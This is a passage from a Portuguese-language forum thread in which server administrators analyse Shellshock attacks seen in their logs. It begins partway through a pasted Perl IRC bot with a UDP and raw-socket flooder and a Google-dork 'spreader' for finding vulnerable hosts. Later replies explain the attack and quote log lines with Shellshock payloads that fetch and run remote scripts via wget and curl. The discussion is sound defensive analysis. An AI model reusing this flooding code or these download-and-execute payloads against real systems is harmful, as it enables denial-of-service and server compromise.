$itime; last if $cur_time >= $ftime; $t="SOCK$l"; shutdown($t,2); $l++; } } sub udpflooder { my $iaddr = inet_aton($_[0]); my $msg = 'A' x $_[1]; my $ftime = $_[2]; my $cp = 0; my (%pacotes); $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0; socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++; socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++; socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++; socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++; return(undef) if $cp == 4; my $itime = time; my ($cur_time); while ( 1 ) { for (my $porta = 1; $porta <= 65000; $porta++) { $cur_time = time - $itime; last if $cur_time >= $ftime; send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++; send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++; send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++; send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++; for (my $pc = 3; $pc <= 255;$pc++) { next if $pc == 6; $cur_time = time - $itime; last if $cur_time >= $ftime; socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next; send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++; } } last if $cur_time >= $ftime; } return($cur_time, %pacotes); } sub ctcp { return unless $#_ == 1; sendraw("PRIVMSG $_[0] :%pre%1$_[1]%pre%1"); } sub msg { return unless $#_ == 1; sendraw("PRIVMSG $_[0] :$_[1]"); } sub notice { return unless $#_ == 1; sendraw("NOTICE $_[0] :$_[1]"); } sub op { return unless $#_ == 1; sendraw("MODE $_[0] +o $_[1]"); } sub deop { return unless $#_ == 1; sendraw("MODE $_[0] -o $_[1]"); } sub j { &join(@_); } sub join { return unless $#_ == 0; sendraw("JOIN $_[0]"); } sub p { part(@_); } sub part { sendraw("PART $_[0]"); } sub nick { return unless $#_ == 0; sendraw("NICK $_[0]"); } sub quit { sendraw("QUIT :$_[0]"); } # Spreader # this 'spreader' code isnot mine, i dont know who coded it. # update: well, i just fix0red this shit a bit. # sub fetch(){ my $rnd=(int(rand(9999))); my $n= 80; if ($rnd<5000) { $n<<=1;} my $s= (int(rand(5)) * $n); my @dominios = ("com","net","org","info","gov", "gob","gub","xxx", "eu","mil","edu","aero","name","us","ca","mx","pa","ni","cu","pr","ve","co","pe","ec", "py","cl","uy","ar","br","bo","au","nz","cz","kr","jp","th","tw","ph","cn","fi","de","es","pt","ch","se","su","it","gr","al","dk","pl","biz","int","pro","museum","coop", "af","ad","ao","ai","aq","ag","an","sa","dz","ar","am","aw","at","az","bs","bh","bd","bb","be","bz","bj","bm","bt","by","ba","bw","bn","bg","bf","bi", "vc","kh","cm","td","cs","cy","km","cg","cd","dj","dm","ci","cr","hr","kp","eg","sv","aw","er","sk", "ee","et","ge","fi","fr","ga","gs","gh","gi","gb","uk","gd","gl","gp","gu","gt","gg","gn","gw","gq","gy","gf","ht","nl","hn","hk","hu","in","id","ir", "iq","ie","is","ac","bv","cx","im","nf","ky","cc","ck","fo","hm","fk","mp","mh","pw","um","sb","sj","tc","vg","vi","wf","il","jm","je","jo","kz","ke", "ki","kg","kw","lv","ls","lb","ly","lr","li","lt","lu","mo","mk","mg","my","mw","mv","ml","mt","mq","ma","mr","mu","yt","md","mc","mn","ms","mz","mm", "na","nr","np","ni","ne","ng","nu","no","nc","om","pk","ps","pg","pn","pf","qa","sy","cf","la","re","rw","ro","ru","eh","kn","ws","as","sm","pm","vc", "sh","lc","va","st","sn","sc","sl","sg","so","lk","za","sd","se","sr","sz","rj","tz","io","tf","tp","tg","to","tt","tn","tr","tm","tv","ug","ua","uz", "vu","vn","ye","yu","cd","zm","zw",""); my @str; foreach $dom (@dominios) { push (@str,"allinurl:%22".$dom."/".$goni."%22"); } my $query="www.google.com/search?q="; $query.=$str[(rand(scalar(@str)))]; $query.="&num=$n&start=$s"; my @lst=(); my $page = http_query($query); while ($page =~ m/<a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){ if ($1 !~ m/google|cache|translate/){ push (@lst,$1); } } return (@lst); } sub http_query($){ my ($url) = @_; my $host=$url; my $query=$url; my $page=""; $host =~ s/href=\"?http:\/\///; $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; $query =~s/$host//; if ($query eq "") {$query="/";}; eval { local $SIG{ALRM} = sub { die "1";}; alarm 10; my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return; print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n"; my @r = <$sock>; $page="@r"; alarm 0; close($sock); }; return $page; }
    
por 29.09.2014 / 16:32
6

A vulnerabilidade Shellshock é usada para fazer o download (usando wget ) e executar um script Perl malicioso, esse ataque é muito básico e requer que o Perl e o wget sejam instalados (supondo que um deles não é e você tem certeza não houve outras tentativas de cracking, seu servidor não foi comprometido).

O script em si é um bot de IRC básico script-kiddie, uma vez executado, essa porcaria conecta-se a um servidor de IRC e espera por comandos, parece ter recursos de pesquisa do Google, provavelmente procurar automaticamente por hosts vulneráveis e tentar explorá-los. Além disso, é claro que você tem o arsenal básico do skiddie, que é o flood HTTP, o flood do TCP e do UDP e o acesso ao shell (como o usuário que executou o script, que seria o usuário sob o qual o servidor HTTP é executado). >     

por 29.09.2014 / 18:05
1

Como já foi mencionado por outros, esta é uma tentativa de script-kiddie de explorar a vulnerabilidade bash para executar um bot de IRC baseado em script perl. Se você tiver o bash atualizado e, além disso, se você executar o apache em chroot como eu, não terá com o que se preocupar. Eu vejo várias versões disso no meu log (veja abaixo) pelo menos a cada dois dias desde 9/27 ... isso é apenas um ruído.

12.64.2d.static.xlhost.com - - [27/Sep/2014:12:36:34 -0500] "GET /cgi-bin/hi HTTP/1.0" 404 1023 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat;rm -rf /tmp/jurat\""        
12.64.2d.static.xlhost.com - - [29/Sep/2014:00:39:41 -0500] "GET /cgi-bin/hi HTTP/1.0" 404 1023 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\""        
web21.qna.vengit.com - - [01/Oct/2014:04:52:24 -0500] "GET /cgi-bin/hi HTTP/1.0" 404 1023 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://89.33.193.10/ji;curl -O /tmp/ji http://89.33.193.10/ji ; perl /tmp/ji;rm -rf /tmp/ji\""

Outra variedade de tentativa de execução de script (script python) que acabei de notar hoje ... NOTA: google-traffic-analytics.com onde o script python é baixado não tem nada a ver com o Google, é claro.

cm232.delta210.maxonline.com.sg - - [04/Oct/2014:01:45:38 -0500] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 404 1193 "http://xxxx.xxx/cgi-sys/entropysearch.cgi" "() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\""
localhost - - [04/Oct/2014:01:45:41 -0500] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 404 1193 "http://xxxx.xxx/cgi-sys/entropysearch.cgi" "() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\""
169.118.103.218.static.netvigator.com - - [04/Oct/2014:01:45:45 -0500] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 404 1193 "http://xxxx.xxx/cgi-sys/entropysearch.cgi" "() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\""
mm-2-192-57-86.dynamic.pppoe.mgts.by - - [04/Oct/2014:01:45:52 -0500] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 404 1193 "http://xxxx.xxx/cgi-sys/entropysearch.cgi" "() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\""
    
por 04.10.2014 / 16:11